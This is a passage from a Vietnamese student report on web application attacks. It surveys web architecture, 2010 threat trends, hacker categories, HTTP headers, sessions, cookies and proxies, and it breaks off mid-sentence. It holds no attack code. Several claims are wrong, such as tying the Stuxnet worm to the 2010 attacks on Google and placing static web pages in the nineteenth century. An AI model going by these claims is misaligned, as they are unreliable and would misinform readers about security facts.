1. Trang chủ
  2. » Luận Văn - Báo Cáo

đồ án tấn công web

86 376 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 86
Dung lượng 1,31 MB

Nội dung

tấn công web

Trang 1

LỜI MỞ ĐẦU

Trong thời đại ngày này nay internet đã rất trở nên quen thuộc và là một công cụ hữu ích để một đất nước, tổ chức giới thiệu hình ảnh hay đơn giản chỉ là một trang web cá nhân của một ai đó giới thiệu về mình Tất cả đã kéo theo sự phát triển không ngừng của các ứng dụng web Và dần dần khái niệm ứng dụng web đã trở nên phổ biến Khi mà trên internet ,ứng dụng web

đã trở lên phổ biến ,ứng dụng một cách rộng rãi thì các cuộc tấn công ứng dụng web cũng phát triển hết sức phức tạp Điều này đã đặt ra vấn đề cấp thiết cần làm như thế nào để bào đảm an toàn thông tin cho ứng dụng web, thông tin của người sử dụng Các khái niệm chuyên môn về ứng dụng web

và tấn công ứng dụng web cũng dần trở nên phổ biến hơn trong các tài liệu chuyên ngành Các công cụ hỗ trợ người lập trình web, người quản trị mạng cũng xuất hiện giúp tìm kiếm lỗ hổng của ứng dụng web nhưng nó không theo kịp sự phát triển nhanh đến mức chóng mặt theo xu hướng nhanh hơn đẹp hơn của các ứng dụng web, và tất nhiên nó không thể ngăn chặn hoàn toàn các cuộc tấn công ứng dụng web, khi mà các cuộc tấn công ngày càng đa dạng khai thác triệt để những lỗi của ứng dụng web, của người quản trị, hay người lập trình ứng dụng web.

Thống kê cho thấy 75% cuộc tấn công internet là tấn công ứng dụng web,nó gây ra những thiệt hại vô cùng to lớn, vì vậy việc tìm hiểu về tấn công ứng dụng web là rất cần thiết nhằm có cách phòng chống tấn công và bảo mật ứng dụng web hiệu quả trở thành một yêu cầu cấp thiết

Do đây là một xu thế tất yếu của thời, nên việc tìm hiểu và nghiên cứu về ứng dụng web sẽ giúp ích rất nhiều cho các nhà lập trình web mới, hay các quản trị viên mới còn ít kinh nghiệm trong việc quản trị hệ thống mạng của mình, phòng tránh , hay khắc phục những lỗi của ứng dụng web Đồ án này được thực hiện nhằm mục đích giới thiệu rõ hơn về ứng dụng web nhằm tránh những nhầm lẫn và đồng thời tìm hiểu về những tấn công ứng dụng web phổ dụng nhằm có cách phòng chống ,bảo mật cho ứng dụng web hợp lý

Lời cảm ơn

Em xin cảm ơn khoa an toàn thông tin Học viện kỹ thuật MAatj Mã đã tạo điều kiện thuận lợi để em hoàn thành báo cáo thực tập này

Trang 2

Cảm ơn Thầy Vũ Đình Thu và các thầy trong khoa an toàn thông tin

đã tận tình hướng dẫn cung cấp tài liệu và giúp đỡ em làm báo cáo thực tập này.

CHƯƠNG 1 : TỔNG QUAN VỀ WEBSITE

1.1 XU HƯỚNG PHÁT TRIỂN.

Các khách hàng quen nhìn nhận sự phát triển của các phương tiện truyền thông mới để mang lại lợi nhuận nhiều hơn về thu tiền tệ Nhưng khi các tiến bộ trên thế giới thì web đã đảm nhận trách nhiệm vai trò mới.

Để mang lại mức tăng của sự tham gia và nhường đường cho các tương tác nhiều hơn, nhiều chương trình dịch vụ cộng đồng đã được mở cửa cho người dân Hiện nay rất nhiều các dịch vụ một cộng đồng như Face book, Orkut, Hi5, vv, kết nối người dân và cộng đồng Blog và diễn đàn có thêm như công cụ giúp tốt hơn và nền tảng cho việc tương tác với nhau Sau đó có Wiki mà làm cho nguồn tài nguyên trực tuyến có sẵn quan trọng cho người dân nói chung.

Trong cộng đồng phát triển công nghệ web đã được tái phát triển chủ yếu để làm cho chúng thân thiện và tương tác Trên mặt trước thiết kế kỹ thuật hai cũng như các lập trình khoa học có được sử dụng để giả mạo sản phẩm cuối cùng vì lợi ích của nhân dân tại lớn Theo bây giờ nhiều người trong số các sản phẩm hoặc dịch vụ trực tuyến đang có sẵn như là miễn phí

và mở các dịch vụ kết thúc.

Do đó phát triển cộng đồng web kết hợp tất cả những thay đổi cơ bản được yêu cầu để gở rô ́i web từ giá trị thương mại Các dịch vụ và các sản phẩm dưới nó có chủ yếu được thiết kế và phát triển để cho phép mọi người đến gần hơn và tận hưởng những lợi ích của công nghệ mới Đó là giá trị nhắc đến vào thời điểm này mà nhiều tổ chức kinh doanh phát triển sản phẩm, cung cấp dịch vụ để có quan hệ tốt hơn với công chúng Đôi khi nó có thể xảy ra rằng một dịch vụ cộng đồng miễn phí trong quá trình do thay đổi thời gian ưu đãi của mình và chịu một bản sắc thương mại.

1.2 Khái niệm về ứng dụng web(website widget hay web application)

Mang tính kỹ thuật nhiều hơn có thể giải thích các ứng dụng Web truy vấn máy chủ chứa nội dung (chủ yếu trên cơ sở dữ liệu lưu trữ nội dung) và tạo tài liệu Web động để phục vụ yêu cầu của máy khách (chính là người dùng website) Tài liệu được tạo trong kiểu định dạng tiêu chuẩn hỗ trợ trên tất cả mọi trình duyệt (như HTML, XHTML) JavaScript là một dạng script client- side cho phép yếu tố động có ở trên từng trang (như thay đổi ảnh mỗi lần

Trang 3

người dùng di chuột tới) Trình duyệt Web chính là chìa khóa Nó dịch và chạy tất cả script, lệnh… khi hiển thị trang web và nội dung được yêu cầu Dưới góc độ chức năng, ứng dụng Web là các chương trình máy tính cho phép người dùng website đăng nhập, truy vấn vào ra dữ liệu qua mạng

Internet trên trình duyệt Web yêu thích của họ Dữ liệu sẽ được gửi tới

người dùng trong trình duyệt theo kiểu thông tin động (trong một định dạng

cụ thể, như với HTML thì dùng CSS) từ ứng dụng Web qua một Web

1.3.1 Cấu trúc cơ bản của một ứng dụng web

Mô hình của một ứng dụng web đơn giản chính là mô hình MVC (Model -

View - Controller).

Tầng Model: chứa các code connect tới database,truy vấn và thêm xóa sửa

dữ liệu.

Tầng View: chứa các code tạo giao diện tương tác với người dùng, dữ liệu

được vẽ ra nhu thế nào

Tầng Controller: chứa các code điều khiển dòng dữ liệu (flow control), gắn

kết tầng Mode và tầng View lại với nhau.

Ứng dụng được chia thành các layer như thế sẽ tăng tính reuse và dễ dàng

mở rộng Chẳng hạn nếu chúng ta muốn ứng dụng có thể truy xuất trên di dộng, chúng ta chỉ cần tạo một tầng view mới riêng cho di động, tầng model

và controller không thay dổi Hay nếu chúng ta muốn thay đổi database, việc

đó cũng dễ dàng hơn, chỉ cần ta tạo tầng model mới, phần view và controller không bị ảnh hưởng.

Mô hình thể hiện quan hệ của ba lớp trong ứng dụng web:

Trang 4

Hình 1 mô hình 3 tầng của một ứng dụng web

Còn đây là mô hình của một dịch vụ ứng dụng web:

Hình 2 Mô hình dịch vụ ứng dụng web đơn giản

Tầng Presentation: được dùng để giao tiếp với người dùng, nhiệm vụ chính

là hiển thị dữ liệu và nhận dữ liệu từ người dùng.

- Tầng Business Logic: nhiệm vụ chính là cung cấp các chức năng của phần mềm.

- Tầng Data: lưu trữ dữ liệu, cho phép lớp Business Logic có thể tìm kiếm, trích xuất, cập nhật… dữ liệu.

1.3.2 Giao diện của một ứng dụng web

Giao diện web đặt ra rất ít giới hạn khả năng người dùng Thông qua Java , JavaScript , DHTML , Flash và những công nghệ khác, những phương pháp chỉ ứng dụng mới có như vẽ trên màn hình, chơi nhạc, và dùng được bàn phím và chuột tất cả đều có thể thực hiện được Những kỹ thuật thông

thường như kéo thả cũng được hỗ trợ bởi những công nghệ trên

Những nhà phát triển web thường dùng ngôn ngữ kịch bản phía người dùng

để thêm hiệu quả các tính năng, đặc biệt là tạo ra một cảm giác giao tiếp trực quan mà không cần phải tải trang lại (điều mà nhiều người dùng cảm thấy ngắt quãng) Vừa rồi, những công nghệ đã được phát triển để phối hợp ngôn ngữ kịch bản phía người dùng với công nghệ phía máy chủ như PHP Ajax , một kỹ thuật phát triển web sử dụng kết hợp nhiều công nghệ khác nhau, là một ví dụ về công nghệ hiện đang tạo ra ngày càng nhiều trải nghiệm tương tác hơn.

1.3.3 Chức năng cơ bản của các ứng dụng web

Ứng dụng web phổ biến nhờ vào sự có mặt vào bất cứ nơi đâu của một chương trình Khả năng cập nhật và bảo trì ứng dụng Web mà không phải phân phối và cài đặt phần mềm trên hàng ngàn máy tính là lý do chính cho

sự phổ biến của nó Ứng dụng web được dùng để hiện thực Webmail, bán

Trang 5

hàng trực tuyến, đấu giá trực tuyến, wiki, diễn đàn thảo luận, Weblog,

MMORPG, Hệ quản trị quan hệ khách hàng và nhiều chức năng khác

Web cũng là kênh bán hàng thông minh cho hàng nghìn tổ chức, doanh nghiệp, lớn có, nhỏ có Với hơn một tỷ người dùng Internet ngày nay

(nguồn: Computer Industry Almanac 2006), thương mại điện tử Mỹ sử dụng khoảng 102 tỷ đô la trong năm 2006 cho giao dịch (nguồn: comScore

Networks 2007).

Tất cả dữ liệu như vậy cần phải được đóng gói, lưu trữ, xử lý và truyền vận theo một cách nào đó, có thể sử dụng ngay hoặc vào một ngày nào đó sau này Các ứng dụng Web, trong lĩnh vực đăng ký, đệ trình, truy vấn, đăng nhập, bán hàng và hệ thống quản lý nội dung chính là các website widget cho phép thực hiện tất cả công việc mong muốn.

Web chính là là yếu tố cơ bản giúp doanh nghiệp tăng cường hình ảnh trực tuyến của mình trên thế giới mạng, tạo ra và duy trì nhiều mối quan hệ đem lại lợi nhuận lâu dài với khách hàng tiềm năng và khách hàng hiện tại.

Không nghi ngờ gì là các ứng dụng Web đã trở thành thứ hiện hữu ở khắp mọi nơi trên thế giới Nhưng do tính kỹ thuật cao và yếu tố tổng hợp phức tạp tự nhiên nên chúng không được nhiều người biết đến chính xác, thậm chí

bị hiểu nhầm trầm trọng trong cuộc sống bận rộn hằng ngày.

Website ngày nay khác xa so với kiểu đồ họa và văn bản tĩnh của thế kỷ mười chín hay thời kỳ trước đó Các trang Web hiện đại cho phép người dùng lấy xuống nội dung động cá nhân hóa theo thiết lập và tham chiếu riêng Hơn nữa chúng cũng có thể chạy các script trên máy khách, có thể

“thay đổi” trình duyệt Internet thành giao diện cho các ứng dụng như thư điện tử, phần mềm ánh xạ tương tác (Yahoo Mail, Google Maps).

Quan trọng nhất là website hiện đại cho phép đóng gói, xử lý, lưu trữ và truyền tải dữ liệu khách hàng nhạy cảm (như thông tin cá nhân, mã số thẻ tín dụng, thông tin bảo mật xã hội …) có thể dùng ngay hoặc dùng định kỳ về sau Và, điều này được thực hiện qua các ứng dụng Web Đó có thể là thành phần webmail (thư điện tử), trang đăng nhập, chương trình hỗ trợ và mẫu yêu cầu sản phẩm hay hoạt động mua bán, hệ thống quản lý nội dung, phát triển website hiện đại, cung cấp cho các doanh nghiệp phương tiện cần thiết

để liên lạc với khách hàng tương lai và khách hàng hiện tại

Nguyên tắc hoạt động cơ bản của một ứng dụng web

Trong dạng tính toán chủ-khách trước đây, mỗi ứng dụng có chương trình khách riêng của nó sẽ phục vụ như giao diện người dùng và phải được cài đặt riêng rẽ trên mỗi máy tính cá nhân của người dùng Sự nâng cấp phần máy chủ của ứng dụng sẽ cần nâng cấp tất cả máy khách đã được cài trên mỗi máy trạm người dùng, thêm vào đó là chi phí hỗ trợ và giảm năng suất

Trang 6

Ứng dụng web linh hoạt tạo ra một loạt các tài liệu Web ở định dạng chuẩn được hỗ trợ bởi những trình duyệt phổ biến như HTML/XHTML Ngôn ngữ kịch bản phía người dùng ở dạng ngôn ngữ chuẩn như JavaScript thường được thêm vào để có thêm những yếu tố động trong giao diện người dùng Nói chung, mỗi trang Web đơn lẻ được gửi tới người dùng như một tài liệu

ổn định, nhưng thứ tự các trang có thể cung cấp cảm giác trực quan, khi những gì người dùng nhập vào sẽ được trả về thông qua thành phần mẫu Web được nhúng vào trong đánh dấu trang Trong quá trình giao dịch đó, trình duyệt Web sẽ thông dịch và hiển thị trang, và hoạt động như một người dùng chung cho bất kỳ ứng dụng Web nào

Theo mô hinh MVC (Model - View - Controller).

Hình 3 Mô tả hoạt động của một ứng dụng web

Các bước hoạt động của một ứng dụng web đơn giản

Bước 1 : Browser tạo một HTTP Request gửi tới ứng dụng web

bước 2: Controller chính của Struts là class ActionServlet sẽ bắt request

này, phân tích URL của nó, và dựa vào file struts-config.xml để gửi request này tới Action class tương ứng

Bước 3: Action class là một class của Struts Framework Ứng dụng của

chúng tathường extends từ class này và viết code để sử lý những business

Trang 7

tương ứng Chẳng hạn ta sẽ có một LoginAction để xử lý việc user login, logout.

Bước 4: Action class có thể truy xuất, cập nhật database nếu cần thiết.

Bước 5: Khi Action class thực hiện việc xử lý business xong, nó sẽ gửi yêu

cầu forward/redirect, cùng với dữ liệu (nếu có) về controller.

Bước 6: Controller chuyển control đến trang JSP tương ứng ở tầng view

Nếu trang JSP này có sử dụng dữ liệu, controller sẽ cung cấp cho nó (đây chính là dữ liệu mà action đã tạo ra và đua cho controller

Bước 7: Sau khi trang JSP đã chuẩn bị xong, Controller tạo một HTTP

Response gửi về cho browser, để browser hiển thị ra màn hình.

1.3.5 Vấn đề bảo mật ứng dụng web

Khi mà ứng dụng web phát triển rất nhanh về mọi mặt, khả năng ứng dụng một cách rộng rãi thì vấn đề bảo mật cho ứng dụng web cũng được chú trọng hơn Mặc dù không thể phủ nhận những cải tiến nâng cao đáng kể hiện nay, nhưng vấn đề về bảo mật trong ứng dụng Web vẫn không ngừng tăng lên Nguyên nhân có thể xuất phát từ các đoạn mã không phù hợp Nhiều điểm yếu nghiêm trọng hay các lỗ hổng cho phép hacker xâm nhập thẳng và truy cập vào cơ sở dữ liệu tách lấy dữ liệu nhạy cảm Nhiều cơ sở dữ liệu chứa thông tin giá trị (như chi tiết cá nhân, thông tin tài chính) khiến chúng trở thành đích nhắm thường xuyên của hầu hết hacker Mặc dù hoạt động tấn công phá hoại website doanh nghiệp vẫn diễn ra thường xuyên, nhưng bây giờ tin tặc thích tăng cường khả năng truy cập dữ liệu nhạy cảm nằm trên trình chủ chứa database hơn vì lợi nhuận khổng lồ từ các vụ mua bán dữ liệu đem lại.

Trang 8

Hình 3 Mô hình hoạt động của một ứng dụng web

Trong khung hoạt động mô tả ở trên, bạn có thể thấy thật dễ dàng cho một hacker truy cập nhanh chóng thông tin nằm trên cơ sở dữ liệu chỉ với một chút sáng tạo Nếu may mắn hơn chúng có thể gặp lỗ hổng xuất phát từ sự cẩu thả hay lỗi người dùng trên các ứng dụng Web.

Như đã nói, website phụ thuộc vào cơ sở dữ liệu để phân phối thông tin được yêu cầu cho người dùng Nếu ứng dụng Web không an toàn (như có lỗ hổng, gặp phải một kiểu kỹ thuật hacking nào đó), toàn bộ cơ sở dữ liệu chứa thông tin nhạy cảm sẽ gặp nguy hiểm nghiệm trọng.

Một số hacker có thể chèn mã độc hại vào ứng dụng Web có lỗ hổng để lừa đảo người dùng và dẫn họ tới website phishing Kỹ thuật này được gọi là Cross-site Scripting, có thể được dùng ngay cả khi bản thân Web Server và nơi chứa cơ sở dữ liệu không có lỗ hổng nào.

Một cuộc nghiên cứu gần đây chỉ ra rằng 75% các cuộc tấn công mạng được thực hiện ở mức ứng dụng Web.Website và các ứng dụng Web liên quan luôn phải sẵn sàng 24/7 để cung cấp dịch vụ theo yêu cầu khách hàng, yêu cầu từ phía nhân viên, nhà cung cấp và nhiều người liên quan khác.

ZF Tường lửa, SSL không thể bảo vệ ứng dụng Web trước mọi hoạt động hacking, đơn giản vì truy cập vào website phải để ở chế độ public để bất kỳ ai cũng có thể ghé thăm website được Tất cả hệ thống cơ sở dữ liệu hiện đại (như Microsoft SQL Server, Oracle, MySQL) đều có thể truy cập qua một số cổng cụ thể (như cổng 80, 443) Nếu muốn, một người nào đó có thể kết nối trực tiếp tới cơ sở dữ liệu một cách hiệu quả khi vượt qua cơ chế

Trang 9

bảo mật của hệ điều hành Các cổng này để mở nhằm cho phép liên lạc với hoạt động giao thông mạng hợp pháp, và do đó cũng hình thành nên lỗ hổng lớn nguy hiểm.

Các ứng dụng Web thường truy cập dữ liệu cuối như cơ sở dữ liệu khách hàng, điều khiển dữ liệu có giá trị và do đó rất khó để có thể tuyệt đối an toàn Lúc này truy cập dữ liệu thường không kèm script cho phép đóng gói

và truyền tải dữ liệu Nếu một hacker nhận ra điểm yếu trong một script, anh

ta có thể dễ dàng mở lại lưu lượng sang khu vực khác và chia lẻ bất hợp pháp chi tiết cá nhân người dùng, dù đôi khi không hề chủ tâm làm điều đó Hầu hết ứng dụng Web đều là tự tạo, do đó ít có được các kiểm tra trình độ hơn so với phần mềm cùng loại Do đó các ứng dụng tùy biến thường dễ bị tấn công hơn.

Có thể nói ứng dụng Web là một cổng vào (gateway) của cơ sở dữ liệu, nhất

là các ứng dụng tùy biến Chúng không được phát triển với mức bảo mật tốt nhất vì không phải qua các kiểm tra bảo mật thông thường Nói chung, bạn cần trả lời câu hỏi: “Phần nào trên website chúng ta nghĩ là an toàn nhưng lại

mở cửa cho các cuộc tấn công?” và “Dữ liệu nào chúng ta đem vào một ứng dụng khiến nó thực hiện một số điều không nên làm?”.Đó là công việc của phần mềm rà soát lỗ hổng Web.

Hiện nay , hacker có rất nhiều cách tấn công một ứng dụng web từ các kĩ thuật cơ bản cho đến những kĩ thuật đòi hỏi kĩ thuật và công nghệ cao cao Các công cụ(tool) hỗ trợ ra đời ngày càng nhiều , hỗ trợ rất nhiều cho người quản trị mạng , tìm ra những lỗ hổng để có bản vá lỗi kịp thời nhưng đồng thời nó cũng là một con dao hai lưỡi Hacker có thể dùng những tool này để phát hiện những lỗ hổng của một ứng dụng web và từ đó sẽ có cách tấn công tương ứng vào lỗ hổng này gây ra rất nhiều tổn thất

Vì vậy việc nghiên cứu về các kĩ thuật tấn công và những tool cơ bản hiện nay là một nhu cầu tất yếu trong việc nghiên cứu bảo mật ứng dụng web.

1.4 Xu hướng tấn công website – các vấn đề về hacker

Máy tính và an ninh mạng luôn là trò chơi mèo vờn chuột không có hồi kết Những kẻ tấn công không chỉ giỏi về công nghệ mà còn sâu sắc trong nhận định xu hướng xã hội để rồi tìm ra điểm yếu, lỗ hổng khiến nhiều

người phải điêu đứng, nhiều tổ chức phải đau đầu Hãy cùng nhìn lại những

xu hướng an ninh mạng hàng đầu trong năm nay để bạn có thể tìm ra cách bảo vệ chiếc máy tính của riêng mình tốt hơn trong thời gian tới.

Mục tiêu đe dọa

Trang 10

Năm 2010 bắt đầu bằng vụ đại gia Google và hàng loạt các tên tuổi lớn bị tin tặc tấn công Đây là nét mới mẻ trong lựa chọn mục tiêu của các hacker với công cụ là loại sâu có tên Stuxnet.

Gary Egan, giám đốc trung tâm phản hồi an ninh của Symantec cho

hay:“Có thể thấy rằng Stuxnet đã mở ra bước phát triển đáng lo ngại của

các phần mềm độc hại Với mục tiêu là các công ty công nghệ lớn, thiệt hại trong thế giới thực là hết sức rõ ràng Trên thực tế, tác động chính trị và xã hội của loại sâu này đã vượt quá tầm kiểm soát.”

Trò chơi trong khuôn cát (sandbox)

Trang 11

Sandbox (khuôn cát) trong năm 2010 đã trở thành một thuật ngữ được sử dụng rộng rãi Trên trình duyệt Chrome của Google và Adobe Reader đã chấp nhận Sandbox như biện pháp ngăn chặn tấn công hữu hiệu Đây là khu vực an toàn riêng biệt cho phép chạy các mã như Javascript song không thể lây nhiễm hay ảnh hưởng đến phần còn lại của hệ thống Sử dụng Sandbox, người dùng có thể tránh được hầu hết các cuộc tấn công phổ biến nhất.

Một phát ngôn viên của Invincea nhận xét: “Sandbox có thể vượt ra ngoài

phạm vi các ứng dụng cá nhân và trở nên rộng rãi trên thị trường Điều đó

sẽ khiến cho sự lây lan virus qua web bị vô hiệu hóa ngay từ khi bắt đầu, kể

cả là mã khai thác dựa trên sự tin tưởng của khách hàng, ví dụ như virus giả mạo, SEO và khai thác lõi…”

Danh hiệu của năm cho Microsoft

Trang 12

Microsoft đã tự mình phá vỡ nhiều kỷ lục trong năm 2010 ở khía cạnh xác định và vá lỗ hổng phần mềm Bất chấp việc một số người sẽ chỉ trích sự cẩu thả trong xây dựng hệ thống của hãng, họ cho rằng gã khổng lồ đã trở nên hiệu quả hơn trong phát hiện lỗi và đáp ứng kịp thời hơn Microsoft liên tục đưa ra các bản tin bảo mật cập nhật trong năm qua Nói đến vấn đề này,

Egan cho hay: “Trong năm 2010, Microsoft đã phát hiện và khắc phục 261

lỗ hổng, tăng hơn gần 100 lỗi so với con số 170 của năm ngoái.”

Bộ công cụ tấn công Web

Trang 13

Thêm một năm chứng kiến sự gia tăng chóng mặt của các bộ dụng cụ tấn công Web – thứ cho phép những kẻ “mới vào nghề” nhanh chóng khai thác

lỗ hổng bảo mật rồi phát triển các phần mềm độc hại tấn công tinh vi.

Có thể kể đến Mariposa, một dạng botnet bị ngăn chặn bởi hãng bảo mật

Panda như ví dụ cho vấn đề này Kẻ tạo ra Mariposa, Iserdo 23 tuổi, dường như không có, hoặc có rất ít kiến thức về lập trình Song đã có tới 12 triệu máy tính trên toàn thế giới bị tác động.

Ori Eisen, chuyên gia hàng đầu về bảo mật cho hay: “Chúng ta đang tiến

rất gần đến thời điểm kết nối toàn cầu Ở đó, các cuộc tấn công sẽ nhảy vọt theo cấp số nhân từ những ảnh hưởng hạn chế sang thành quả thu được lớn hơn rất nhiều bởi rào cản biên giới gần như không tồn tại.”

Cuộc tấn công xã hội hóa

Có một điều không bao giờ thay đổi, đó là mắt xích yếu nhất của chuỗi bảo mật luôn là những người ngồi trước bàn phím máy tính Các tin tặc sẽ tiếp tục khai thác sự “ngây thơ” này và biến đây thành kỹ năng đáng sợ nhất của chúng.

Đến chính Rogue, một phần mềm diệt virus đã bị mượn tên để làm giả thành chương trình chứa những mã độc hại, và có rất nhiều người không hề hay

Trang 14

biết Thật vậy, xu hướng phổ biến của năm 2010 là các nạn nhân tự mời gọi hacker đi qua cửa trước khi chúng khoác lớp vỏ ngoài "trông có vẻ" hợp pháp.

Giờ đây, Facebook và Twitter đang trở thành một mục tiêu đầy tiềm năng Các khách hàng sẽ chẳng thèm đoái hoài đến những lời cảnh báo khi vô tư chia sẻ thông tin cá nhân trên các trang mạng, để rồi một cuộc tấn công lớn mang tầm vóc xã hội sẽ nhanh chóng hình thành.

Khi chúng ta bước vào năm 2011, mối đe dọa sẽ còn nhiều hơn Có thể smartphone hay máy tính bảng sẽ là mục tiêu kế tiếp, nhưng tất cả đều phụ thuộc vào sự cảnh giác của mỗi người dùng.

1.5 Vấn đề bảo mật website ngày nay.

Ngày nay các mối đe dọa đến từ cổng 80 và 443 ngày một tăng so với các mối đe dọa bảo mật khác Việc mở rộng sự phức tạp của các tấn công web đòi hỏi các công ty cần phải triển khai một giải pháp bảo mật web mạnh mẽ Hành động lọc URL đơn giản đã xuất hiện một vài năm và nó phải là thành phần cốt lõi trong việc bảo mật web Mặc dù vậy, bảo mật web cần có thêm nhiều tính năng khác ngoài vấn đề lọc URL, chẳng hạn như quét AV, malware, biết các IP xác thực, kỹ thuật phân loại URL và các chức năng ngăn chặn lọt dữ liệu Kẻ tấn công có thể thỏa hiệp các site có tiểu sử khá tốt

vì vậy nếu chúng ta chỉ dựa vào việc lọc danh sách trắng và danh sách đen các URL thì phương pháp này sẽ không còn an toàn Bất cứ giải pháp bảo mật web nào đều phải có khả năng quét lưu lượng web động để có thể đưa ra quyết định có tính hợp lệ.

1.6 Các khái niệm và thuật ngữ liên quan đến tấn công và bảo mật ứng dụng web

1.6.1 Khái niệm hacker

Khái niệm hacker có từ những 50, 60 của thế kỉ trước , và cho đến nay trải qua một thời gian phát triển khá dài hacker chia làm 4 loại:

- Hacker mũ trắng: là những chuyên gia lập trình chuyên tìm các lỗi của phần mềm với mục đích sửa chữa, xây dựng hệ thống an toàn hơn.

- Hacker mũ đen: đối lập với hacker mũ trắng, là những hacker phá hoại và trục lợi cho mình.

Trang 15

- Hacker mũ xanh/samurai: là những chuyên gia lập trình tài năng, được các hãng như Microsoft mời về làm việc chuyên tìm lỗi cho phần mềm của họ.

- Hacker mũ xám hay mũ nâu: là những người đôi khi làm công việc của hacker

mũ trắng nhưng vẫn làm công việc của hacker mũ đen.

- Dù tự nhận mình là giới nào, họ vẫn đang làm công việc xâm nhập hệ thống thông qua những lỗ hổng bảo mật Vì vậy tôi sẽ sủ dụng thuật ngữ hacker để chỉ nhũng người tấn công ứng dụng web.

HTTP HEARDER là trường phần đầu chứa các thông số hoạt động của một yêu cầu HTTP giữa máy chủ và máy khách Những thông tin trình khách gửi trình chủ gọi là HTTP requests(yêu cầu ),những thông tin trình chủ gửi cho trình khách gọi là HTTP responses(trả lời )

Các trường tiêu đề xác định đặc điểm khác nhau của việc chuyển dữ liệu được yêu cầu hoặc các dữ liệu được cung cấp trong thông điệp HTTP Header có thể có nhiều dòng và thường bắt đầu với tên trường, chấm dứt với một ký tự đại tràng, tiếp theo là giá trị trường Tên trường và các giá trị có thể là bất kỳ ứng dụng cụ thể chuỗi , nhưng tập lõi các lĩnh vực được chuẩn hóa bởi Internet Engineering Task Một số tham số được sử dụng cả trong trình khách mà trình chủ.

- (Có bảng danh sách các tham số ở cuối đồ án )

Trang 16

SessionID là một chuỗi để chứng thực phiên làm việc Một số trình chủ sẽ cấp phát session cho người dùng khi họ xem trang web trên trình chủ

-Để duy trì phiên làm việc sessionID thường được lưu trữ vào :

+Biến trên URL

+Biến ẩn from

+Cookie

-Phiên làm việc chỉ tồn tại trong khoảng thời gian cho phép, thời gian này được quy định tại trình chủ hoặc bởi ứng dụng thực thi.Trình chủ tự động giải phóng phiên làm việc để khôi phục tài nghuyên hệ thống.

Những lần truy cập sau vào trang web đó ứng ứng dụng có thể sử dụng lại những thông tin trong cookie(các thôgn tin tai khoản liên quan) mà người dùng không cần phải đăng nhập hay cung cấp thêm thông tin gì cả.

Có nhiều cách phân loại cookie, phân loại theo đối tượng thiết lập của cookie.thì cookie chia làm 2 loại: Cookie của bên thứ nhất là cookie được thiết lập bởi tên miền trang web được liệt kê trong thanh địa chỉ Cookie của bên thứ ba đến

từ các nguồn tên miền khác có các mục, chẳng hạn như quảng cáo hoặc hình ảnh,

Trang 17

được nhúng vào trang Ngoài ra còn cách chia chia khác chia cookie thành 4 loại

vì có secure/non-secure và perisent/non- perisent nên ta có:

• Non-persistent cookie thì được lưu trữ trên bộ nhớ RAM của máy khách và

sẽ bị hủy khi đóng trang web hay nhận được lệnh hủy từ trang web.

• Secure cookies chỉ có thể được gửi thông qua HTTPS (SSL).

• Non-Secure cookie có thể được gửi bằng cả hai giao thức HTTPS hay HTTP Thựcchất là đối với secure cookie thì trình chủ sẽ cung cấp chế độ truyền bảo mật.

Các thành phầncủa một cookie gồm:

1 Domain: Tên miền của trang web đã tạo cookie ( trong ví dụ trên

2 Flag: mang giá trị TRUE/FALSE - Xác định các máy khác với cùng tên miền có được truy xuất đến cookie hay không.

3 Path: Phạm vi các địa chỉ có thể truy xuấtcookie.Ví dụ: Nếu path là

“/tracuu” thì các địa chỉ trong thư mục /tracuu cũng như tất cả các thư mục con của nó như /tracuu/baomat có thể truy xuất đến cookie này Còn nếu giá tri là “/” thì cookie sẽ được truy xuấtbởitất cả địa chỉ thuộcmiềntrang web tạo cookie.

Trang 18

4 Sercure: mang giá trị TRUE/FALSE - Xác định đây là một secure cookie hay không nghĩa là kết nối có sử dụng SSL hay không.

5 Expiration:thời gian hết hạn của cookie, được tính bằng giây kể từ 00:00:00 giờ GMT ngày 01/01/1970 Nếu giá trị này không được thiết lập thì trình duyệt sẽ hiểu đây là non-persistent cookie và chỉ lưu trong bộ nhớ RAM và sẽ xoá nó khi trình duyệt bị đóng.

6 Name:Tên biến (trong trường hợp này là Apache)

7 Value: Với cookie được tạo ở trên thì giá trị của Apache là 64.3.40.151.16018996349247480 và ngày hết hạn là 27/07/2006, của tên miền http://www.redhat.com

- Các cookie của Netscape (NS) đặt trong một tập tin Cookies.txt, với đường dẫnCác cookie của Netscape (NS) đặt trong một tập tin Cookies.txt, với đường dẫn là: C:\Program Files\Netscape\Users\UserName\Cookies.tx

-Các cookies của IE được lưu thành nhiều tập tin, mỗi tập tin là một cookie và được đặt trong [C:]\Documents and Setting\[username]\Cookies (Win2000), đối với win9x, thư mục cookies nằm trong thư mục [C:]\Windows\cookies.

-Kích thước tối đa của cookie là 4kb Số cookie tối đa cho một tên miền là 20 cookie.

Cookie bị hủy ngay khi đóng trình duyệt gọi là “ session cookie ”.

• Bạn cần biết về cài đặt cookie vì cookie có thể cho phép các trang web theo dõi điều hướng của bạn khi bạn truy cập vào các trang web đó.

1.6.5 PROXY

Proxy cung cấp cho người sử dụng truy xuất Internet những nghi thức đặt biệt hoặc một tập những nghi thức thực thi trên dual_homed host hoặc basion host Những chương trình client của người sử dụng sẽ qua trung gian proxy server thay thế cho server thật sự mà người sử dụng cần giao tiếp.

Trang 19

Proxy server xác định những yêu cầu từ client và quyết định đáp ứng hay không đáp ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với server thật thay cho client và tiếp tục chuyển tiếp những yêu cầu từ client đến server, cũng như trả lờicủa

server đến client Vì vậy proxy server giống cầu nối trung gian giữa server và client.

Xu hướng an ninh bảo mật tại các nước phát triển rất khác với Việt Nam Hiện nay, những hacker trên thế giới đang hình thành những nhóm hoạt động tinh vi và có động cơ chiếm đoạt tài chính bằng cách xâm nhập vào website của DN để đánh cắp các thông tin nhạy cảm như: thông tin thẻ tín dụng, tài khoản ngân hàng, thông tin khách hàng hoặc những tài sản trí tuệ Tôi tin rằng hiện nay các ngân hàng (NH) và các công ty thuộc lĩnh vực tài chính tại Việt Nam ngày càng phát triển, điều đó sẽ thu hút các nhóm hacker thế giới

Những hacker lão làng có động cơ xấu có thể xâm nhập vào hệ thống CNTT của công ty qua ngõ web của công ty nếu nó được bảo mật yếu và từ đó họ có thể xâm nhập vào những đường kết nối mạng khác nếu chúng có cấu hình kém Những tấn công này thường

